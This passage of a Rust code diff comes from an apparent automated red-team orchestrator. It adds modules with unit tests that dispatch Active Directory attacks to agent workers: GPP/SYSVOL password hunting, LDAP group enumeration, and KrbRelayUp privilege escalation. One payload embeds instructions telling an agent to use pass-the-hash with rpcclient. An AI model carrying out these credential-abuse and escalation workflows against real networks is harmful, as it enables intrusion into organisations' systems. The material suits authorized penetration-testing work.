password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = GppSysvolWork { + dedup_key: "gpp:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.dedup_key, "gpp:contoso.local"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("gpp:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "gpp:contoso.local"); + } + + #[test] + fn two_tasks_per_domain() { + // The payload dispatches two techniques in a single submission per domain + let techniques = ["gpp_password_finder", "sysvol_script_search"]; + assert_eq!(techniques.len(), 2); + } + + // --- collect_gpp_sysvol_work tests --- + + use crate::orchestrator::state::StateInner; + + fn make_cred(username: &str, domain: &str) -> ares_core::models::Credential { + ares_core::models::Credential { + id: uuid::Uuid::new_v4().to_string(), + username: username.to_string(), + password: "P@ssw0rd!".to_string(), // pragma: allowlist secret + domain: domain.to_string(), + source: String::new(), + discovered_at: None, + is_admin: false, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_produces_no_work() { + let state = StateInner::new("test".into()); + let work = collect_gpp_sysvol_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_produces_no_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_gpp_sysvol_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dc_with_matching_cred_produces_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_gpp_sysvol_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "gpp:contoso.local"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_skips_already_processed_dedup() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state.mark_processed(DEDUP_GPP_SYSVOL, "gpp:contoso.local".into()); + let work = collect_gpp_sysvol_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_falls_back_to_first_credential() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_cred("fabuser", "fabrikam.local")); + let work = collect_gpp_sysvol_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fabuser"); + } + + #[test] + fn collect_multiple_domains_produces_multiple_work() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + state + .credentials + .push(make_cred("fabadmin", "fabrikam.local")); + let work = collect_gpp_sysvol_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_cred("fabuser", "fabrikam.local")); + state + .credentials + .push(make_cred("conuser", "contoso.local")); + let work = collect_gpp_sysvol_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "conuser"); + } + + #[test] + fn collect_case_insensitive_domain_match() { + let mut state = StateInner::new("test".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state.credentials.push(make_cred("admin", "contoso.local")); + let work = collect_gpp_sysvol_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "gpp:contoso.local"); + } + + #[test] + fn dedup_keys_differ_per_domain() { + let key1 = format!("gpp:{}", "contoso.local"); + let key2 = format!("gpp:{}", "fabrikam.local"); + assert_ne!(key1, key2); + } +} diff --git a/ares-cli/src/orchestrator/automation/group_enumeration.rs b/ares-cli/src/orchestrator/automation/group_enumeration.rs new file mode 100644 index 00000000..3ed346ef --- /dev/null +++ b/ares-cli/src/orchestrator/automation/group_enumeration.rs @@ -0,0 +1,619 @@ +//! auto_group_enumeration -- enumerate domain groups and memberships via LDAP. +//! +//! Dispatches per-domain LDAP group enumeration to discover security groups, +//! their members, and cross-domain memberships. This covers a large gap in +//! attack surface mapping — group membership determines ACL attack paths, +//! privilege escalation chains, and cross-domain lateral movement. +//! +//! The recon agent queries `(objectCategory=group)` and resolves membership +//! recursively, including Foreign Security Principals for cross-domain groups. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect group enumeration work items from current state. +/// +/// Pure logic extracted from `auto_group_enumeration` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_group_enum_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() && state.hashes.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + let all_dcs = state.all_domains_with_dcs(); + if all_dcs.is_empty() { + return Vec::new(); + } + debug!( + domains = ?all_dcs.iter().map(|(d,_)| d.as_str()).collect::>(), + trusted = ?state.trusted_domains.keys().collect::>(), + creds = state.credentials.len(), + hashes = state.hashes.len(), + "Group enum state check" + ); + for (domain, dc_ip) in &all_dcs { + // Use separate dedup keys for cred vs hash attempts so a failed + // password-based attempt (e.g., mislabeled credential domain) + // doesn't permanently block the hash-based path. + let dedup_key_cred = format!("group_enum:{}:cred", domain.to_lowercase()); + let dedup_key_hash = format!("group_enum:{}:hash", domain.to_lowercase()); + let dedup_key_trust = format!("group_enum:{}:trust", domain.to_lowercase()); + + // Prefer same-domain cleartext cred, then fall back to trust-compatible + // cred (child→parent or cross-forest). Trust-based attempts use a + // separate dedup key so they don't block hash-based fallback. + let (cred, using_trust_cred) = + if !state.is_processed(DEDUP_GROUP_ENUMERATION, &dedup_key_cred) { + let c = state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == domain.to_lowercase()) + .cloned(); + (c, false) + } else { + (None, false) + }; + let (cred, using_trust_cred) = + if cred.is_none() && !state.is_processed(DEDUP_GROUP_ENUMERATION, &dedup_key_trust) { + match state.find_trust_credential(domain) { + Some(c) => (Some(c), true), + None => (None, using_trust_cred), + } + } else { + (cred, using_trust_cred) + }; + + // Look for NTLM hash (PTH) — fires independently of cred attempt + let (ntlm_hash, ntlm_hash_username) = + if cred.is_none() && !state.is_processed(DEDUP_GROUP_ENUMERATION, &dedup_key_hash) { + state + .hashes + .iter() + .find(|h| { + h.hash_type.to_lowercase() == "ntlm" + && h.domain.to_lowercase() == domain.to_lowercase() + && h.username.to_lowercase() == "administrator" + }) + .or_else(|| { + state.hashes.iter().find(|h| { + h.hash_type.to_lowercase() == "ntlm" + && h.domain.to_lowercase() == domain.to_lowercase() + && !state.is_delegation_account(&h.username) + }) + }) + .map(|h| (Some(h.hash_value.clone()), Some(h.username.clone()))) + .unwrap_or((None, None)) + } else { + (None, None) + }; + + // Need at least a credential or an NTLM hash + if cred.is_none() && ntlm_hash.is_none() { + debug!( + domain = %domain, + cred_dedup = state.is_processed(DEDUP_GROUP_ENUMERATION, &dedup_key_cred), + trust_dedup = state.is_processed(DEDUP_GROUP_ENUMERATION, &dedup_key_trust), + hash_dedup = state.is_processed(DEDUP_GROUP_ENUMERATION, &dedup_key_hash), + "Group enum: no credential/hash found for domain" + ); + continue; + } + + let dedup_key = if ntlm_hash.is_some() { + dedup_key_hash + } else if using_trust_cred { + dedup_key_trust + } else { + dedup_key_cred + }; + + items.push(GroupEnumWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred.unwrap_or_else(|| ares_core::models::Credential { + id: String::new(), + username: ntlm_hash_username.clone().unwrap_or_default(), + password: String::new(), + domain: domain.clone(), + source: "hash_fallback".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }), + ntlm_hash, + ntlm_hash_username, + }); + } + + items +} + +/// Dispatches group enumeration per domain. +/// Interval: 45s. +pub async fn auto_group_enumeration( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(20)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("group_enumeration") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_group_enum_work(&state) + }; + + if !work.is_empty() { + info!( + count = work.len(), + domains = ?work.iter().map(|w| w.domain.as_str()).collect::>(), + "Group enumeration work items collected" + ); + } + for item in work { + // When PTH hash is available, use the hash user's identity for the target domain + // instead of a cross-domain credential that will fail LDAP simple bind. + let (cred_user, cred_pass, cred_domain) = if item.ntlm_hash.is_some() { + ( + item.ntlm_hash_username + .clone() + .unwrap_or_else(|| item.credential.username.clone()), + String::new(), // empty password forces PTH path + item.domain.clone(), // target domain, not cross-domain + ) + } else { + ( + item.credential.username.clone(), + item.credential.password.clone(), + item.credential.domain.clone(), + ) + }; + let cross_domain = cred_domain.to_lowercase() != item.domain.to_lowercase(); + let mut payload = json!({ + "technique": "ldap_group_enumeration", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": cred_user, + "password": cred_pass, + "domain": cred_domain, + }, + "filters": ["(objectCategory=group)"], + "attributes": [ + "sAMAccountName", "member", "memberOf", "managedBy", + "groupType", "objectSid", "description", "cn" + ], + "enumerate_members": true, + "resolve_foreign_principals": true, + "instructions": concat!( + "Enumerate ALL security groups in this domain.\n\n", + "AUTHENTICATION: If the password field is EMPTY and an NTLM hash is provided, ", + "you MUST use pass-the-hash. Do NOT attempt LDAP simple bind with empty password.\n", + " Use rpcclient_command with the hash parameter: rpcclient_command(target=dc_ip, ", + "username=user, domain=domain, hash=, command='enumdomgroups') — ", + "then for each group RID: 'querygroupmem ' and 'queryuser ' to resolve members.\n", + " IMPORTANT: Pass the hash via the 'hash' parameter, NOT as the password.\n\n", + "If a password IS provided, use ldap_search with filter (objectCategory=group) ", + "to enumerate groups, members, and Foreign Security Principals.\n\n", + "CROSS-DOMAIN AUTH: If the credential domain differs from the target domain ", + "(e.g. credential from child.domain.local querying parent domain.local), ", + "you MUST pass bind_domain= to ldap_search. ", + "Check the 'bind_domain' field in the task payload — if present, always pass it ", + "to ldap_search so the LDAP bind uses user@bind_domain while querying the target domain.\n\n", + "For EACH group found, report it as a vulnerability:\n", + " vuln_type: 'group_enumerated'\n", + " target: the group sAMAccountName\n", + " target_ip: the DC IP\n", + " domain: the domain\n", + " details: {\"group_type\": \"Global/DomainLocal/Universal\", ", + "\"members\": [\"user1\", \"user2\"], \"managed_by\": \"manager\", ", + "\"admin_count\": true/false}\n\n", + "Pay special attention to: Domain Admins, Enterprise Admins, Administrators, ", + "Backup Operators, Server Operators, Account Operators, DnsAdmins, ", + "and any custom groups with adminCount=1.\n\n", + "Report cross-domain memberships as vuln_type='foreign_group_membership'.\n\n", + "IMPORTANT: For each user found, include in discovered_users array:\n", + " {\"username\": \"samaccountname\", \"domain\": \"domain.local\", ", + "\"source\": \"ldap_group_enumeration\", \"memberOf\": [\"Group1\", \"Group2\"]}" + ), + }); + if cross_domain { + payload["bind_domain"] = json!(item.credential.domain); + } + // Attach NTLM hash for PTH when no cleartext cred for target domain + if let Some(ref hash) = item.ntlm_hash { + payload["ntlm_hash"] = json!(hash); + } + if let Some(ref user) = item.ntlm_hash_username { + payload["hash_username"] = json!(user); + } + + let priority = dispatcher.effective_priority("group_enumeration"); + match dispatcher + .force_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "Group enumeration dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_GROUP_ENUMERATION, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_GROUP_ENUMERATION, &item.dedup_key) + .await; + } + Ok(None) => { + info!(domain = %item.domain, dc = %item.dc_ip, "Group enumeration deferred by throttler"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch group enumeration"); + } + } + } + } +} + +struct GroupEnumWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, + ntlm_hash: Option, + ntlm_hash_username: Option, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key_cred = format!("group_enum:{}:cred", "contoso.local"); + let key_hash = format!("group_enum:{}:hash", "contoso.local"); + assert_eq!(key_cred, "group_enum:contoso.local:cred"); + assert_eq!(key_hash, "group_enum:contoso.local:hash"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_GROUP_ENUMERATION, "group_enumeration"); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "ldap_group_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + "filters": ["(objectCategory=group)"], + "attributes": [ + "sAMAccountName", "member", "memberOf", "managedBy", + "groupType", "objectSid", "description", "cn" + ], + "enumerate_members": true, + "resolve_foreign_principals": true, + }); + assert_eq!(payload["technique"], "ldap_group_enumeration"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert!(payload["enumerate_members"].as_bool().unwrap()); + assert!(payload["resolve_foreign_principals"].as_bool().unwrap()); + } + + #[test] + fn ldap_attributes_list() { + let attrs = [ + "sAMAccountName", + "member", + "memberOf", + "managedBy", + "groupType", + "objectSid", + "description", + "cn", + ]; + assert_eq!(attrs.len(), 8); + assert!(attrs.contains(&"sAMAccountName")); + assert!(attrs.contains(&"objectSid")); + assert!(attrs.contains(&"managedBy")); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = GroupEnumWork { + dedup_key: "group_enum:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + ntlm_hash: None, + ntlm_hash_username: None, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("group_enum:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "group_enum:contoso.local"); + } + + #[test] + fn dedup_keys_differ_per_domain() { + let key1 = format!("group_enum:{}:cred", "contoso.local"); + let key2 = format!("group_enum:{}:cred", "fabrikam.local"); + assert_ne!(key1, key2); + } + + #[test] + fn collect_hash_fires_after_cred_dedup_burned() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Cred-based attempt already dispatched (may have failed) + state.mark_processed( + DEDUP_GROUP_ENUMERATION, + "group_enum:contoso.local:cred".into(), + ); + // Add an NTLM hash — should still generate work via hash path + state.hashes.push(ares_core::models::Hash { + id: "h1".into(), + username: "Administrator".into(), + hash_value: "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0".into(), + hash_type: "ntlm".into(), + domain: "contoso.local".into(), + source: "secretsdump".into(), + cracked_password: None, + discovered_at: None, + parent_id: None, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + attack_step: 0, + }); + let work = collect_group_enum_work(&state); + assert_eq!( + work.len(), + 1, + "hash path should fire even after cred dedup burned" + ); + assert_eq!(work[0].dedup_key, "group_enum:contoso.local:hash"); + assert!(work[0].ntlm_hash.is_some()); + } + + fn make_credential( + username: &str, + password: &str, + domain: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_group_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_group_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_with_cred() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_group_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_dedup_skips_processed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed( + DEDUP_GROUP_ENUMERATION, + "group_enum:contoso.local:cred".into(), + ); + state.mark_processed( + DEDUP_GROUP_ENUMERATION, + "group_enum:contoso.local:hash".into(), + ); + let work = collect_group_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_cross_domain_cred_skipped_without_hash() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Only fabrikam cred — should NOT fall back cross-domain (burns dedup slot) + state + .credentials + .push(make_credential("crossuser", "P@ssw0rd!", "fabrikam.local")); // pragma: allowlist secret + let work = collect_group_enum_work(&state); + assert_eq!(work.len(), 0, "cross-domain cred should not produce work"); + } + + #[test] + fn collect_multiple_domains() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("fadmin", "Pass!456", "fabrikam.local")); // pragma: allowlist secret + let work = collect_group_enum_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_group_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "group_enum:contoso.local:cred"); + } + + #[test] + fn collect_prefers_same_domain_cred() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("localadmin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_group_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "localadmin"); + } + + #[test] + fn collect_child_cred_falls_back_for_parent_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Child-domain cred should work for parent-domain via trust + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "north.contoso.local")); // pragma: allowlist secret + let work = collect_group_enum_work(&state); + assert_eq!( + work.len(), + 1, + "child-domain cred should fall back for parent" + ); + assert_eq!(work[0].dedup_key, "group_enum:contoso.local:trust"); + assert_eq!(work[0].credential.domain, "north.contoso.local"); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_group_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + } +} diff --git a/ares-cli/src/orchestrator/automation/krbrelayup.rs b/ares-cli/src/orchestrator/automation/krbrelayup.rs new file mode 100644 index 00000000..c5d5163e --- /dev/null +++ b/ares-cli/src/orchestrator/automation/krbrelayup.rs @@ -0,0 +1,557 @@ +//! auto_krbrelayup -- exploit KrbRelayUp when LDAP signing is not enforced. +//! +//! KrbRelayUp abuses Kerberos authentication relay to LDAP when LDAP signing +//! is not required. It creates a computer account (MAQ > 0), relays Kerberos +//! auth to LDAP to set up RBCD on a target, then uses S4U2Self/S4U2Proxy +//! to get a service ticket as admin. This is a local privilege escalation +//! that works from any authenticated domain user to SYSTEM on domain-joined hosts. +//! +//! Prereqs: LDAP signing NOT enforced (checked by auto_ldap_signing), +//! MAQ > 0 (checked by auto_machine_account_quota), valid domain creds. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect KrbRelayUp work items from current state. +/// +/// Pure logic extracted from `auto_krbrelayup` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_krbrelayup_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + // Check if any DC has LDAP signing disabled (vuln registered by auto_ldap_signing) + let has_ldap_weak = state.discovered_vulnerabilities.values().any(|v| { + let vtype = v.vuln_type.to_lowercase(); + vtype == "ldap_signing_disabled" || vtype == "ldap_signing_not_required" + }); + + if !has_ldap_weak { + return Vec::new(); + } + + let mut items = Vec::new(); + + // Target non-DC hosts (priv esc on member servers) + for host in &state.hosts { + if host.is_dc { + continue; + } + + // Skip hosts we already own + if state.is_processed(DEDUP_SECRETSDUMP, &host.ip) { + continue; + } + + let dedup_key = format!("krbrelayup:{}", host.ip); + if state.is_processed(DEDUP_KRBRELAYUP, &dedup_key) { + continue; + } + + let domain = host + .hostname + .find('.') + .map(|i| host.hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + + // Domain match is required: krbrelayup binds the credential to the + // host's domain controller; a foreign-domain cred fails with + // invalidCredentials before any work happens. The previous + // `.or_else(|| state.credentials.first())` fallback paired hosts + // with whatever cred happened to be first in state, which routinely + // dispatched a foreign-forest cred against an unrelated host and + // burned ~30k LLM tokens per failed task. Skip when no matching + // cred exists; the next tick will retry once one lands. + let cred = state + .credentials + .iter() + .find(|c| !domain.is_empty() && c.domain.to_lowercase() == domain) + .cloned(); + + let cred = match cred { + Some(c) => c, + None => continue, + }; + + items.push(KrbRelayUpWork { + dedup_key, + target_ip: host.ip.clone(), + hostname: host.hostname.clone(), + domain, + credential: cred, + }); + } + + items +} + +/// Dispatches KrbRelayUp exploitation against hosts when LDAP signing is weak. +/// Interval: 45s. +pub async fn auto_krbrelayup(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("krbrelayup") { + continue; + } + + let work = { + let state = dispatcher.state.read().await; + collect_krbrelayup_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "krbrelayup", + "target_ip": item.target_ip, + "hostname": item.hostname, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("krbrelayup"); + match dispatcher + .throttled_submit("privesc", "privesc", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + target = %item.target_ip, + hostname = %item.hostname, + "KrbRelayUp exploitation dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_KRBRELAYUP, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_KRBRELAYUP, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(target = %item.target_ip, "KrbRelayUp deferred"); + } + Err(e) => { + warn!(err = %e, target = %item.target_ip, "Failed to dispatch KrbRelayUp"); + } + } + } + } +} + +struct KrbRelayUpWork { + dedup_key: String, + target_ip: String, + hostname: String, + domain: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use ares_core::models::{Credential, Host, VulnerabilityInfo}; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_host(ip: &str, hostname: &str, is_dc: bool) -> Host { + Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc, + owned: false, + } + } + + fn make_ldap_vuln() -> VulnerabilityInfo { + VulnerabilityInfo { + vuln_id: "ldap-weak-1".into(), + vuln_type: "ldap_signing_disabled".into(), + target: "192.168.58.10".into(), + discovered_by: "test".into(), + discovered_at: chrono::Utc::now(), + details: Default::default(), + recommended_agent: String::new(), + priority: 5, + } + } + + // --- collect_krbrelayup_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_krbrelayup_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.30", "srv01.contoso.local", false)); + state + .discovered_vulnerabilities + .insert("v1".into(), make_ldap_vuln()); + let work = collect_krbrelayup_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_ldap_vuln_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.30", "srv01.contoso.local", false)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_krbrelayup_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_non_dc_host_with_ldap_vuln_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.30", "srv01.contoso.local", false)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .discovered_vulnerabilities + .insert("v1".into(), make_ldap_vuln()); + let work = collect_krbrelayup_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.30"); + assert_eq!(work[0].hostname, "srv01.contoso.local"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dedup_key, "krbrelayup:192.168.58.30"); + } + + #[test] + fn collect_skips_dc_hosts() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.10", "dc01.contoso.local", true)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .discovered_vulnerabilities + .insert("v1".into(), make_ldap_vuln()); + let work = collect_krbrelayup_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.30", "srv01.contoso.local", false)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .discovered_vulnerabilities + .insert("v1".into(), make_ldap_vuln()); + state.mark_processed(DEDUP_KRBRELAYUP, "krbrelayup:192.168.58.30".into()); + let work = collect_krbrelayup_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_already_owned_hosts() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.30", "srv01.contoso.local", false)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .discovered_vulnerabilities + .insert("v1".into(), make_ldap_vuln()); + state.mark_processed(DEDUP_SECRETSDUMP, "192.168.58.30".into()); + let work = collect_krbrelayup_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_ldap_signing_not_required_also_triggers() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.30", "srv01.contoso.local", false)); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let mut vuln = make_ldap_vuln(); + vuln.vuln_type = "ldap_signing_not_required".into(); + state.discovered_vulnerabilities.insert("v1".into(), vuln); + let work = collect_krbrelayup_work(&state); + assert_eq!(work.len(), 1); + } + + #[test] + fn collect_bare_hostname_skips_when_no_domain_match() { + // Bare hostname yields domain="" (no FQDN dot to split on); the + // credential filter then can't pair any cred with the host. + // Previously the dispatcher fell back to credentials.first() and + // dispatched a wrong-domain task that always failed at LDAP bind. + // Now the host is skipped — an FQDN-resolving recon pass must + // populate 